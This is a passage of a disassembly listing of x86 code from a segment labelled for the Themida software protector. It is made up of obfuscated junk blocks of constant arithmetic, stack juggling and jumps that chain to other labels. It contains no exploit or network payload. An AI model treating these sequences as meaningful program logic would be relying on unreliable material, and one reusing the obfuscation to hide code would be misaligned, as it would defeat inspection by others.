loc_56ABC5: ; CODE XREF: Themida_:0055EC83j
and eax, 54260442h
add eax, 1CEA4BC5h
xor eax, 2D27063Fh
dec eax
jmp loc_568B09
; ---------------------------------------------------------------------------
loc_56ABDA: ; CODE XREF: Themida_:0056E4AAj
mov [esp], ecx
mov ecx, esp
add ecx, 4
jmp loc_5663E0
; ---------------------------------------------------------------------------
loc_56ABEA: ; CODE XREF: Themida_:0057065Bj
mov edx, [esp]
add esp, 4
pop ebx
sub esp, 4
jmp loc_56A677
; ---------------------------------------------------------------------------
loc_56ABF9: ; CODE XREF: Themida_:00566542j
xor ebp, [esp]
xor [esp], ebp
jmp loc_57268E
; ---------------------------------------------------------------------------
loc_56AC04: ; CODE XREF: Themida_:00565CA4j
mov dl, 0E6h
add bl, dl
jmp loc_571B57
; ---------------------------------------------------------------------------
loc_56AC0D: ; CODE XREF: Themida_:0056E2D3j
mov dx, [esp]
add esp, 2
push ecx
jmp loc_56CADA
; ---------------------------------------------------------------------------
loc_56AC1A: ; CODE XREF: Themida_:00569922j
mov [esp], esi
mov esi, 5A9E1FB0h
push 7E44h
mov [esp], esi
push dword ptr [esp]
jmp loc_55E24F
; ---------------------------------------------------------------------------
loc_56AC32: ; CODE XREF: Themida_:00560475j
mov eax, esp
push edi
jmp loc_5680D8
; ---------------------------------------------------------------------------
loc_56AC3A: ; CODE XREF: Themida_:0056EA0Bj
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
mov edx, [esp]
add esp, 4
add ebx, 4
jmp loc_562A70
; ---------------------------------------------------------------------------
loc_56AC58: ; CODE XREF: Themida_:00563625j
mov ebp, 314327h
and eax, ebp
pop ebp
push edx
jmp loc_5612DD
; ---------------------------------------------------------------------------
loc_56AC66: ; CODE XREF: Themida_:00562683j
sub edi, 1531500Ch
add edi, ebp
add edi, 1531500Ch
push dword ptr [esp]
pop ebp
jmp loc_56FD75
; ---------------------------------------------------------------------------
lodsd
push edx
jmp loc_566D9B
; ---------------------------------------------------------------------------
loc_56AC84: ; CODE XREF: Themida_:00568335j
dec edx
add edx, 43893857h
jmp loc_569B11
; ---------------------------------------------------------------------------
loc_56AC90: ; CODE XREF: Themida_:0056B079j
xor edi, 14BE41DEh
sub esp, 4
mov [esp], edx
jmp loc_5680AB
; ---------------------------------------------------------------------------
loc_56ACA1: ; CODE XREF: Themida_:00560061j
xchg edx, [esp]
pop esp
mov [esp], edi
mov edi, 7FB5470Fh
sub ebx, 56D06156h
sub ebx, edi
push edi
mov edi, 56D06156h
add ebx, 55363B7Dh
add ebx, 6057029Dh
add ebx, edi
jmp loc_5729B1
; ---------------------------------------------------------------------------
loc_56ACCE: ; CODE XREF: Themida_:00567816j
add ebx, 1C3500CDh
sub ebx, 23242B4Eh
pop esi
sub eax, ebx
pop ebx
add ebp, eax
pop eax
sub esp, 4
mov [esp], ecx
push 4
pop ecx
sub ebp, ecx
pop ecx
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
mov [esp], ecx
push 7BCEh
mov [esp], eax
push ecx
push edx
push ecx
mov ch, 1Ah
mov dh, ch
pop ecx
mov cl, dh
pop edx
mov ah, 86h
sub ah, cl
pop ecx
add ah, 5Ah
add ah, 0E0h
mov cl, ah
pop eax
sub al, cl
mov ecx, [esp]
add esp, 4
push 4442h
mov [esp], ecx
push eax
mov ah, 1Ah
xchg bh, ah
not bh
xchg bh, ah
push ebx
jmp loc_55F281
; ---------------------------------------------------------------------------
loc_56AD3F: ; CODE XREF: Themida_:005709B2j
and ebx, 21B16D47h
shr ebx, 1
xor ebx, 7F6DC3Fh
add eax, 35240C34h
sub eax, 6A25578Ah
sub eax, ebx
jmp loc_56879B
; ---------------------------------------------------------------------------
loc_56AD5E: ; CODE XREF: Themida_:0056BA86j
add edx, esi
push ebx
mov ebx, 6AD6324Bh
sub ebx, 99EC927h
sub edx, ebx
pop ebx
jmp loc_5626A2
; ---------------------------------------------------------------------------
loc_56AD74: ; CODE XREF: Themida_:0056439Ej
push eax
push 789E17C6h
mov eax, [esp]
add esp, 4
push ecx
mov ecx, 71FE2C74h
and ecx, 73A92F54h
not ecx
xor ecx, 9D77AA33h
sub edx, ecx
pop ecx
add edx, eax
push ecx
mov ecx, 13207998h
sub edx, 559E2E60h
add edx, ecx
add edx, 559E2E60h
jmp loc_5676CB
; ---------------------------------------------------------------------------
loc_56ADB5: ; CODE XREF: Themida_:0057283Fj
xor [esp], eax
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56ADBE: ; CODE XREF: Themida_:0056CFC9j
xor ah, 27h
shl ah, 2
jmp loc_56DEDA
; ---------------------------------------------------------------------------
loc_56ADC9: ; CODE XREF: Themida_:00565E49j
push ebx
mov ebx, 3B9A50E4h
add eax, ebx
mov ebx, [esp]
sub esp, 4
mov [esp], eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
pop ebp
push esi
jmp loc_56865E
; ---------------------------------------------------------------------------
loc_56ADF2: ; CODE XREF: Themida_:0056FC05j
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
jmp loc_56C095
; ---------------------------------------------------------------------------
loc_56AE06: ; CODE XREF: Themida_:005673A4j
push 49B1h
mov [esp], esi
mov esi, 9C95343h
inc esi
push edi
push ebx
mov ebx, 26B76220h
jmp loc_560248
; ---------------------------------------------------------------------------
loc_56AE20: ; CODE XREF: Themida_:0055F940j
mov esi, 4F597D3Eh
neg esi
jmp loc_55EE36
; ---------------------------------------------------------------------------
loc_56AE2C: ; CODE XREF: Themida_:0056449Aj
mov ebp, 287B61DDh
sub ecx, ebp
pop ebp
xor ecx, 0ED49CD2Ch
sub edi, 7C720C3Eh
sub edi, ecx
add edi, 7C720C3Eh
pop ecx
sub edi, 62303CDBh
add edi, 9404A38h
add edi, ecx
sub edi, 9404A38h
sub esp, 4
mov [esp], ebx
push esi
mov esi, 2DFB437Ah
mov ebx, 4FCB7FA1h
xor ebx, esi
pop esi
jmp loc_56AFFE
; ---------------------------------------------------------------------------
loc_56AE76: ; CODE XREF: Themida_:005625A8j
shr al, 8
neg al
and al, 0FAh
sub al, 0FFh
sub cl, al
jmp loc_5661AA
; ---------------------------------------------------------------------------
loc_56AE86: ; CODE XREF: Themida_:00566DCFj
pop ecx
push edx
mov edx, 42084871h
add ebx, 75AC5CE3h
sub ebx, edx
sub ebx, 75AC5CE3h
pop edx
add ebx, eax
add ebx, 42084871h
push ebp
push 30B1h
mov [esp], esi
mov esi, 125F3B0Bh
push esi
jmp loc_5616BA
; ---------------------------------------------------------------------------
loc_56AEB8: ; CODE XREF: Themida_:0056E4C0j
mov ebx, [esp]
add esp, 4
push 3EECh
jmp loc_55F6D2
; ---------------------------------------------------------------------------
loc_56AEC8: ; CODE XREF: Themida_:00563519j
add edi, 4
push 7BA0h
mov [esp], edx
mov edx, 5F974331h
sub esp, 4
mov [esp], edi
mov edi, 314E04E1h
not edi
push edx
jmp loc_56173F
; ---------------------------------------------------------------------------
loc_56AEEE: ; CODE XREF: Themida_:0056A431j
push esp
push dword ptr [esp]
pop edi
add esp, 4
sub esp, 4
mov [esp], ecx
jmp loc_56450D
; ---------------------------------------------------------------------------
loc_56AF07: ; CODE XREF: Themida_:0056B469j
mov cl, 8Ah
sub bl, cl
pop cx
shl bl, 5
push eax
mov ah, 57h
jmp loc_568296
; ---------------------------------------------------------------------------
loc_56AF18: ; CODE XREF: Themida_:00567CAAj
xchg edx, edi
push esi
mov esi, 0DF780003h
add edi, esi
pop esi
add ebx, 92A50B9h
add ebx, edi
push ecx
mov ecx, 75323980h
push edi
jmp loc_56154D
; ---------------------------------------------------------------------------
loc_56AF37: ; CODE XREF: Themida_:00565389j
push edi
mov edi, 4D43360Fh
jmp loc_5661D8
; ---------------------------------------------------------------------------
loc_56AF42: ; CODE XREF: Themida_:005643C1j
add ebx, 0F58236F8h
or esi, ebx
jmp loc_56965E
; ---------------------------------------------------------------------------
loc_56AF4F: ; CODE XREF: Themida_:0056866Fj
sub ebp, 0CDEF92AAh
jmp loc_56D6EC
; ---------------------------------------------------------------------------
loc_56AF5A: ; CODE XREF: Themida_:0056C1ABj
or dl, ch
mov ecx, [esp]
add esp, 4
add dl, 50h
sub ah, dl
pop edx
sub ah, 98h
push eax
not byte ptr [esp+1]
pop eax
sub ah, 47h
jmp loc_5666E9
; ---------------------------------------------------------------------------
loc_56AF7C: ; CODE XREF: Themida_:005688BAj
push ebp
mov ebp, esp
add ebp, 4
jmp loc_56ECDA
; ---------------------------------------------------------------------------
loc_56AF8A: ; CODE XREF: Themida_:0055EB0Dj
pop dword ptr [esp]
mov esp, [esp]
mov [esp], eax
sub esp, 4
mov [esp], esi
push 6C2A09AFh
mov esi, [esp]
add esp, 4
and esi, 5B91121Eh
xor esi, 2E2A2988h
jmp loc_55DC87
; ---------------------------------------------------------------------------
loc_56AFB8: ; CODE XREF: Themida_:0056CBAEj
push dword ptr [esp+4]
mov eax, [esp]
add esp, 4
pop dword ptr [esp]
jmp loc_567F52
; ---------------------------------------------------------------------------
loc_56AFCD: ; CODE XREF: Themida_:00563CB1j
pop ebx
push edx
mov edx, 6A91A20h
xor ebx, edx
jmp loc_56BA11
; ---------------------------------------------------------------------------
loc_56AFDB: ; CODE XREF: Themida_:00560D78j
pop eax
jmp loc_5717B0
; ---------------------------------------------------------------------------
loc_56AFE1: ; CODE XREF: Themida_:00569025j
mov ecx, [esp]
add esp, 4
add esp, 4
jmp loc_567C71
; ---------------------------------------------------------------------------
loc_56AFF2: ; CODE XREF: Themida_:00565919j
pop ecx
add bh, 27h
sub al, bh
pop ebx
jmp loc_5629CA
; ---------------------------------------------------------------------------
loc_56AFFE: ; CODE XREF: Themida_:0056AE71j
add edi, ebx
mov ebx, [esp]
add esp, 4
push edx
mov edx, 555444Dh
jmp loc_567B73
; ---------------------------------------------------------------------------
lodsb
xor al, bl
jmp loc_55E010
; ---------------------------------------------------------------------------
loc_56B019: ; CODE XREF: Themida_:0056DD89j
not ebp
inc ebp
sub esp, 4
mov [esp], edi
mov edi, 3C38410Ch
and ebp, edi
pop edi
or ebp, 96A011Ch
or ebp, 110F436Dh
jmp loc_561D88
; ---------------------------------------------------------------------------
loc_56B03E: ; CODE XREF: Themida_:0056A012j
xor al, 0Ah
add bl, al
pop eax
mov ecx, [esp]
push edi
jmp loc_5617AB
; ---------------------------------------------------------------------------
loc_56B04C: ; CODE XREF: Themida_:0056F13Cj
push ecx
mov ecx, 26A93675h
jmp loc_56A7CC
; ---------------------------------------------------------------------------
loc_56B057: ; CODE XREF: Themida_:0056D52Ej
mov [esp], edi
push 117D288Fh
pop edi
shr edi, 8
jmp loc_5670D8
; ---------------------------------------------------------------------------
loc_56B068: ; CODE XREF: Themida_:0055D511j
push esi
jmp loc_569C24
; ---------------------------------------------------------------------------
loc_56B06E: ; CODE XREF: Themida_:00560DC8j
mov edi, 7D446447h
xor edi, 5FE87D61h
jmp loc_56AC90
; ---------------------------------------------------------------------------
loc_56B07E: ; CODE XREF: Themida_:00570454j
pop ebx
sub esi, edi
jmp loc_55F3D1
; ---------------------------------------------------------------------------
loc_56B086: ; CODE XREF: Themida_:00569997j
push esi
jmp loc_5639B4
; ---------------------------------------------------------------------------
loc_56B08C: ; CODE XREF: Themida_:00566C2Ej
pop edx
xchg ebx, [esp]
mov esp, [esp]
jmp loc_55D516
; ---------------------------------------------------------------------------
loc_56B098: ; CODE XREF: Themida_:00560D41j
pop ecx
jmp loc_56512F
; ---------------------------------------------------------------------------
loc_56B09E: ; CODE XREF: Themida_:0056C460j
xor dh, 91h
dec dh
push cx
mov cl, 0C1h
jmp loc_572972
; ---------------------------------------------------------------------------
loc_56B0AC: ; CODE XREF: Themida_:0055DB48j
xor [esp], edx
xor edx, [esp]
pop esp
mov cx, [esp]
push eax
jmp loc_561EB6
; ---------------------------------------------------------------------------
loc_56B0BD: ; CODE XREF: Themida_:0055F20Bj
push esp
jmp loc_561488
; ---------------------------------------------------------------------------
loc_56B0C3: ; CODE XREF: Themida_:00562CA6j
add ax, di
sub ax, 788Ah
pop edi
jmp loc_563ECE
; ---------------------------------------------------------------------------
loc_56B0D0: ; CODE XREF: Themida_:00564570j
pop ebp
or ecx, 1D3B0DD5h
push 642Ch
mov [esp], esi
push 6E16h
mov [esp], edx
mov edx, esp
add edx, 4
sub edx, 4
jmp loc_563723
; ---------------------------------------------------------------------------
loc_56B0FA: ; CODE XREF: Themida_:00567312j
pop edx
sub esp, 4
jmp loc_56570A
; ---------------------------------------------------------------------------
loc_56B106: ; CODE XREF: Themida_:005697F3j
push ebx
jmp loc_563A67
; ---------------------------------------------------------------------------
loc_56B10C: ; CODE XREF: Themida_:00560D6Bj
xor ebp, 1A331E44h
add ebp, 0B5ADAA9Dh
sub esp, 4
jmp loc_56BADB
; ---------------------------------------------------------------------------
loc_56B123: ; CODE XREF: Themida_:005647E2j
add ecx, 4A80D0E6h
and esi, ecx
pop ecx
inc esi
push esi
push ecx
pop esi
jmp loc_572465
; ---------------------------------------------------------------------------
loc_56B135: ; CODE XREF: Themida_:00572AEAj
add esp, 4
sub bl, ah
pop eax
push 4A5Fh
mov [esp], edx
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_55F422
; ---------------------------------------------------------------------------
loc_56B15B: ; CODE XREF: Themida_:00572804j
push eax
pop esi
mov eax, [esp]
add esp, 4
not eax
push esi
push eax
pop esi
jmp loc_571BB9
; ---------------------------------------------------------------------------
loc_56B16D: ; CODE XREF: Themida_:005653E5j
sub ebx, 699819F0h
jmp loc_561DC8
; ---------------------------------------------------------------------------
mov cx, [esp]
push 7035h
mov [esp], ebx
push 40ABh
jmp loc_56E12E
; ---------------------------------------------------------------------------
loc_56B18E: ; CODE XREF: Themida_:00566BD2j
inc ecx
jmp loc_5634FB
; ---------------------------------------------------------------------------
loc_56B194: ; CODE XREF: Themida_:005602D5j
push ecx
jmp loc_5615BF
; ---------------------------------------------------------------------------
loc_56B19A: ; CODE XREF: Themida_:00571BB4j
or bh, 0F0h
sub bh, 2Ch
add dl, 0F8h
add dl, bh
sub dl, 0F8h
mov ebx, [esp]
add esp, 4
shr dl, 3
dec dl
xor dl, 64h
xor dl, ah
xor ah, dl
xor dl, ah
inc ah
push cx
mov cl, ah
mov ah, dl
mov dl, cl
mov cx, [esp]
add esp, 2
xor dl, 6Ah
jmp loc_571134
; ---------------------------------------------------------------------------
lodsb
sub esp, 4
mov [esp], ecx
push eax
jmp loc_5643D4
; ---------------------------------------------------------------------------
loc_56B1E8: ; CODE XREF: Themida_:0056FF78j
mov edx, 4
sub ecx, edx
jmp loc_56661F
; ---------------------------------------------------------------------------
loc_56B1F4: ; CODE XREF: Themida_:00563565j
pop edi
push eax
jmp loc_5703B1
; ---------------------------------------------------------------------------
loc_56B1FB: ; CODE XREF: Themida_:0057278Fj
pop ebx
pop dword ptr [esp]
not ebx
xchg ebx, [esp]
pop ebp
jmp loc_56B846
; ---------------------------------------------------------------------------
loc_56B20A: ; CODE XREF: Themida_:005681E4j
push dword ptr [esp]
pop edx
jmp loc_56FD4C
; ---------------------------------------------------------------------------
loc_56B213: ; CODE XREF: Themida_:0056ECF8j
mov edi, 348F21F1h
sub ebx, edi
mov edi, [esp]
add esp, 4
sub ebx, 6FF115E4h
add ebx, eax
add ebx, 6FF115E4h
jmp loc_561CD0
; ---------------------------------------------------------------------------
loc_56B233: ; CODE XREF: Themida_:0056A0B8j
mov ebx, [esp]
add esp, 4
push 7CB3h
mov [esp], edi
push ecx
push edi
mov edi, 57453CDBh
mov ecx, edi
pop edi
mov edi, ecx
push dword ptr [esp]
pop ecx
add esp, 4
add ebx, edi
jmp loc_568265
; ---------------------------------------------------------------------------
loc_56B25E: ; CODE XREF: Themida_:0056EFC7j
add ebp, 0AE1AE8D5h
mov ebx, ebp
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
add esp, 4
sub eax, ebx
pop ebx
xchg eax, [esp]
mov esp, [esp]
mov [esp], ebx
jmp loc_56B4D0
; ---------------------------------------------------------------------------
loc_56B283: ; CODE XREF: Themida_:0056736Bj
mov edx, esp
add edx, 4
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
push ecx
jmp loc_55D63A
; ---------------------------------------------------------------------------
loc_56B2A1: ; CODE XREF: Themida_:0056F715j
pop ecx
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56B2A7: ; CODE XREF: Themida_:0056DD19j
mov esi, esp
add esi, 4
sub esi, 4
xor esi, [esp]
jmp loc_55E916
; ---------------------------------------------------------------------------
loc_56B2BA: ; CODE XREF: Themida_:0056EF9Aj
pop edx
add esi, ecx
pop ecx
jmp loc_56DBFD
; ---------------------------------------------------------------------------
loc_56B2C3: ; CODE XREF: Themida_:0055EFD6j
sub bh, 0B0h
sub bh, 33h
xor bh, 86h
neg bh
sub bh, 74h
jmp loc_56A1BD
; ---------------------------------------------------------------------------
loc_56B2D6: ; CODE XREF: Themida_:0056434Ej
xchg ebx, [esp]
pop esp
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_567659
; ---------------------------------------------------------------------------
loc_56B2F2: ; CODE XREF: Themida_:00564BBFj
xor bh, 61h
xor ah, bh
mov ebx, [esp]
add esp, 4
push ebx
mov bl, ah
mov dl, bl
pop ebx
mov eax, [esp]
add esp, 4
sub al, 0F0h
add al, dl
push ecx
mov ch, 92h
or ch, 0D0h
push eax
mov al, 0C7h
dec al
add al, 0AFh
not al
xor al, 0A8h
xor ch, al
pop eax
add al, ch
mov ecx, [esp]
add esp, 4
push dword ptr [esp]
pop edx
push esi
mov esi, esp
push edx
jmp loc_55D529
; ---------------------------------------------------------------------------
loc_56B33C: ; CODE XREF: Themida_:0056CF34j
push 10F4h
mov [esp], esp
add dword ptr [esp], 4
pop edi
push ebx
mov ebx, 4
add edi, 1BE73DB2h
add edi, ebx
sub edi, 1BE73DB2h
pop ebx
push ebp
mov ebp, 4
sub edi, ebp
jmp loc_56A2C0
; ---------------------------------------------------------------------------
loc_56B36E: ; CODE XREF: Themida_:0057229Ej
push ebp
mov ebp, esp
jmp loc_56658E
; ---------------------------------------------------------------------------
loc_56B376: ; CODE XREF: Themida_:005668EFj
push ecx
push 47626E65h
jmp loc_57076D
; ---------------------------------------------------------------------------
loc_56B381: ; CODE XREF: Themida_:0056B554j
mov edi, 0EB92210h
inc edi
jmp loc_560424
; ---------------------------------------------------------------------------
loc_56B38C: ; CODE XREF: Themida_:00561DC3j
xchg esi, [esp]
jmp loc_564698
; ---------------------------------------------------------------------------
loc_56B394: ; CODE XREF: Themida_:00567C02j
sub esp, 4
mov [esp], edi
jmp loc_55DB3A
; ---------------------------------------------------------------------------
loc_56B3A2: ; CODE XREF: Themida_:0055D4D3j
mov edi, [esp]
jmp loc_567FF1
; ---------------------------------------------------------------------------
loc_56B3AA: ; CODE XREF: Themida_:005638F0j
mov ebx, edx
jmp loc_563740
; ---------------------------------------------------------------------------
loc_56B3B1: ; CODE XREF: Themida_:00566A87j
add esp, 4
xor ebx, eax
push 6174h
mov [esp], eax
jmp loc_55FACA
; ---------------------------------------------------------------------------
loc_56B3C6: ; CODE XREF: Themida_:0056B5F1j
sub edx, 7CF571EDh
jmp loc_56A111
; ---------------------------------------------------------------------------
loc_56B3D1: ; CODE XREF: Themida_:0055D55Bj
push ebx
mov ebx, 3D270F0Eh
jmp loc_56E3DC
; ---------------------------------------------------------------------------
loc_56B3DC: ; CODE XREF: Themida_:0056BE01j
pop esp
mov [esp], edx
push 2049h
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
mov edx, [esp]
push edx
jmp loc_55F54B
; ---------------------------------------------------------------------------
loc_56B3F9: ; CODE XREF: Themida_:005682C5j
add ebx, esi
jmp loc_56427C
; ---------------------------------------------------------------------------
loc_56B400: ; CODE XREF: Themida_:00566AE5j
pop ebx
add ebx, 4
add ebx, 4
jmp loc_565CE3
; ---------------------------------------------------------------------------
loc_56B40F: ; CODE XREF: Themida_:0056F787j
pop edi
sub ebx, 7A154DFAh
xor edx, ebx
mov ebx, [esp]
add esp, 4
and eax, edx
mov edx, [esp]
add esp, 4
shr eax, 18h
xor eax, ecx
push 2C47h
mov [esp], eax
jmp loc_571104
; ---------------------------------------------------------------------------
loc_56B438: ; CODE XREF: Themida_:00562CD5j
mov esp, [esp]
xor bl, al
movzx eax, al
push dword ptr [edi+eax*4]
push dword ptr [esp]
mov eax, [esp]
jmp loc_56A671
; ---------------------------------------------------------------------------
loc_56B44E: ; CODE XREF: Themida_:00560CC7j
add esp, 4
push dx
push ecx
mov cl, 53h
mov dh, 96h
xor dh, cl
pop ecx
xor bl, dh
pop dx
sub esp, 2
mov [esp], cx
jmp loc_56AF07
; ---------------------------------------------------------------------------
loc_56B46E: ; CODE XREF: Themida_:005658F8j
add edx, 13AF4EFBh
add edx, edi
sub edx, 13AF4EFBh
jmp loc_569BEE
; ---------------------------------------------------------------------------
loc_56B481: ; CODE XREF: Themida_:0056BDDBj
pop esi
pop dword ptr [esp]
pop esp
mov [esp], esi
push eax
push 808h
mov [esp], ebp
mov ebp, 340D0BF6h
sub ebp, 5A0B551Dh
jmp loc_569326
; ---------------------------------------------------------------------------
loc_56B4A2: ; CODE XREF: Themida_:0056DDF1j
not eax
xor eax, 58E8A040h
jmp loc_571534
; ---------------------------------------------------------------------------
loc_56B4AE: ; CODE XREF: Themida_:0055FB9Fj
add esp, 4
pop ebx
add ebx, 4
add ebx, 2
push ebx
jmp loc_55DCB1
; ---------------------------------------------------------------------------
loc_56B4C7: ; CODE XREF: Themida_:00570E1Aj
push dword ptr [esp]
pop ecx
jmp loc_56F7B0
; ---------------------------------------------------------------------------
loc_56B4D0: ; CODE XREF: Themida_:0056B27Ej
push esp
mov ebx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
push esi
mov esi, 61765859h
and esi, 645312C5h
push ebp
mov ebp, 4D924160h
sub ebp, 0B400F49h
dec ebp
shl ebp, 8
shr ebp, 7
add ebp, 6BEB653Ch
push ecx
jmp loc_567432
; ---------------------------------------------------------------------------
loc_56B512: ; CODE XREF: Themida_:0056973Ej
xor edi, 40400905h
add eax, edi
mov edi, [esp]
add esp, 4
add eax, 4
xchg eax, [esp]
jmp loc_55E98D
; ---------------------------------------------------------------------------
loc_56B52B: ; CODE XREF: Themida_:0055F5A1j
add eax, 4
xchg eax, [esp]
mov esp, [esp]
shr eax, 0Ch
xor eax, ecx
sub esp, 4
mov [esp], eax
not dword ptr [esp]
mov eax, [esp]
push ecx
mov ecx, esp
push edx
mov edx, 77010159h
push edi
jmp loc_56B381
; ---------------------------------------------------------------------------
loc_56B559: ; CODE XREF: Themida_:0055DDE6j
push ecx
mov ecx, esp
jmp loc_56DDE0
; ---------------------------------------------------------------------------
loc_56B561: ; CODE XREF: Themida_:00561B1Fj
push edi
mov edi, esp
jmp loc_56ECAC
; ---------------------------------------------------------------------------
loc_56B569: ; CODE XREF: Themida_:00567E54j
push ecx
mov ch, dh
mov dh, ah
mov ah, ch
jmp loc_567040
; ---------------------------------------------------------------------------
loc_56B575: ; CODE XREF: Themida_:005648FCj
xor edx, 446D3C17h
and esi, edx
pop edx
push ebx
mov ebx, 73D2798Fh
jmp loc_56FA70
; ---------------------------------------------------------------------------
loc_56B589: ; CODE XREF: Themida_:00561CF3j
mov [esp], esi
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], edi
push eax
push edi
jmp loc_572809
; ---------------------------------------------------------------------------
loc_56B5A9: ; CODE XREF: Themida_:0056615Cj
shr ebx, 6
sub ebx, 817F0C75h
jmp loc_55D772
; ---------------------------------------------------------------------------
loc_56B5B7: ; CODE XREF: Themida_:00562B62j
add ebp, 730E07F4h
add ebp, 48A10BD3h
add ebp, 5CE818FDh
sub ebp, edi
sub ebp, 5CE818FDh
sub ebp, 48A10BD3h
jmp loc_55FCCA
; ---------------------------------------------------------------------------
loc_56B5DC: ; CODE XREF: Themida_:005710F0j
mov esi, 637643B7h
shr esi, 6
jmp loc_56423B
; ---------------------------------------------------------------------------
loc_56B5E9: ; CODE XREF: Themida_:0055E5F2j
push esp
pop ebx
push edx
mov edx, 7CF571F1h
jmp loc_56B3C6
; ---------------------------------------------------------------------------
loc_56B5F6: ; CODE XREF: Themida_:0056A0A1j
and eax, 169A605Eh
shr eax, 1
dec eax
xor eax, 1452004h
jmp loc_567F64
; ---------------------------------------------------------------------------
loc_56B608: ; CODE XREF: Themida_:0056DBABj
mov ebp, [esp]
add esp, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
jmp loc_57267E
; ---------------------------------------------------------------------------
loc_56B61F: ; CODE XREF: Themida_:0057015Bj
push dword ptr [esp]
push dword ptr [esp]
pop edx
push 704Fh
mov [esp], ebx
mov ebx, esp
sub esp, 4
jmp loc_568480
; ---------------------------------------------------------------------------
loc_56B63B: ; CODE XREF: Themida_:00560ACBj
pop ecx
add ecx, 457A3F9Ch
jmp loc_570270
; ---------------------------------------------------------------------------
loc_56B647: ; CODE XREF: Themida_:00567B64j
pop ebp
jmp loc_564848
; ---------------------------------------------------------------------------
loc_56B64D: ; CODE XREF: Themida_:00567BD8j
mov bl, al
pop eax
pop edx
pop ax
sub esp, 4
mov [esp], edx
push eax
mov al, 0D1h
jmp loc_56CFCE
; ---------------------------------------------------------------------------
loc_56B661: ; CODE XREF: Themida_:00568D72j
mov eax, 20ED5DD1h
mov esi, eax
mov eax, [esp]
jmp loc_56BCEF
; ---------------------------------------------------------------------------
loc_56B670: ; CODE XREF: Themida_:0056B7C9j
sub esp, 4
mov [esp], edx
mov edx, 48C13B20h
add esi, 67820CD0h
add esi, edx
sub esi, 67820CD0h
pop edx
inc esi
neg esi
neg esi
jmp loc_56819A
; ---------------------------------------------------------------------------
loc_56B694: ; CODE XREF: Themida_:00568D8Bj
mov [esp], ecx
mov cl, al
push 1AFAh
mov [esp], ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
push ecx
push dword ptr [esp+4]
jmp loc_56772E
; ---------------------------------------------------------------------------
loc_56B6B9: ; CODE XREF: Themida_:00565DE4j
pop edi
jmp loc_560CBE
; ---------------------------------------------------------------------------
loc_56B6BF: ; CODE XREF: Themida_:0056F659j
mov ebp, 79EF1DB2h
neg ebp
jmp loc_5660E0
; ---------------------------------------------------------------------------
loc_56B6CB: ; CODE XREF: Themida_:0056AAC4j
sub edi, 0BCDEC886h
jmp loc_5607AD
; ---------------------------------------------------------------------------
loc_56B6D6: ; CODE XREF: Themida_:00566EB2j
dec edx
sub edx, 56302FF7h
mov edi, edx
pop edx
mov esi, edi
jmp loc_571077
; ---------------------------------------------------------------------------
loc_56B6E7: ; CODE XREF: Themida_:0056F2FBj
xor ebp, edx
pop edx
xchg esi, ebp
not esi
jmp loc_55DD2A
; ---------------------------------------------------------------------------
loc_56B6F3: ; CODE XREF: Themida_:005606F5j
mov ebp, 4
jmp loc_5623C2
; ---------------------------------------------------------------------------
loc_56B6FD: ; CODE XREF: Themida_:00567D18j
inc ebx
jmp loc_56C243
; ---------------------------------------------------------------------------
loc_56B703: ; CODE XREF: Themida_:00561D9Ej
and edi, 458A1E5Ch
xor edi, 1FF91B80h
or edi, 729332Ah
sub edi, 10F31C93h
add edi, 0F0F7DCDDh
mov ebx, edi
jmp loc_568909
; ---------------------------------------------------------------------------
loc_56B728: ; CODE XREF: Themida_:00560182j
mov ebp, [esp]
jmp loc_563450
; ---------------------------------------------------------------------------
loc_56B730: ; CODE XREF: Themida_:0056F28Dj
add esp, 4
push 25EAh
mov [esp], ecx
push esp
jmp loc_55F29E
; ---------------------------------------------------------------------------
loc_56B741: ; CODE XREF: Themida_:00560DBBj
push edx
mov edx, 50F27206h
xchg ebx, edx
neg ebx
xor edx, ebx
xor ebx, edx
xor edx, ebx
push esi
mov esi, 0CA92EFFh
or edx, esi
pop esi
sub edx, 1
add edx, 50525006h
sub ebp, 6F7F6006h
sub ebp, 67FB3C67h
add ebp, edx
jmp loc_567C79
; ---------------------------------------------------------------------------
loc_56B779: ; CODE XREF: Themida_:00564DA7j
add esi, eax
jmp loc_565729
; ---------------------------------------------------------------------------
loc_56B780: ; CODE XREF: Themida_:0056F142j
push edx
push ecx
push 603022C3h
pop ecx
jmp loc_5649C8
; ---------------------------------------------------------------------------
loc_56B78D: ; CODE XREF: Themida_:00568026j
mov ax, [esp]
push 9A7h
jmp loc_571CC9
; ---------------------------------------------------------------------------
loc_56B79B: ; CODE XREF: Themida_:00563107j
mov edx, edi
jmp loc_5640F9
; ---------------------------------------------------------------------------
loc_56B7A2: ; CODE XREF: Themida_:00564D47j
sub esi, ecx
mov ecx, [esp]
push edi
jmp loc_56DD32
; ---------------------------------------------------------------------------
loc_56B7AD: ; CODE XREF: Themida_:00560E53j
push 11F8h
mov [esp], ebp
jmp loc_56C990
; ---------------------------------------------------------------------------
loc_56B7BA: ; CODE XREF: Themida_:005718AEj
pop ebx
loc_56B7BB: ; CODE XREF: Themida_:005604C4j
push ecx
mov ecx, esp
jmp loc_568DEF
; ---------------------------------------------------------------------------
loc_56B7C3: ; CODE XREF: Themida_:00570667j
push 269A7C8Bh
pop esi
jmp loc_56B670
; ---------------------------------------------------------------------------
loc_56B7CE: ; CODE XREF: Themida_:00571AEFj
add esp, 4
sub esp, 4
jmp loc_565F2A
; ---------------------------------------------------------------------------
loc_56B7DC: ; CODE XREF: Themida_:005620C3j
and ebx, 79E21189h
push esi
mov esi, 5C260C9h
neg esi
xor esi, 0A0C3252h
not esi
sub esi, 0DB05D87Eh
and ebx, esi
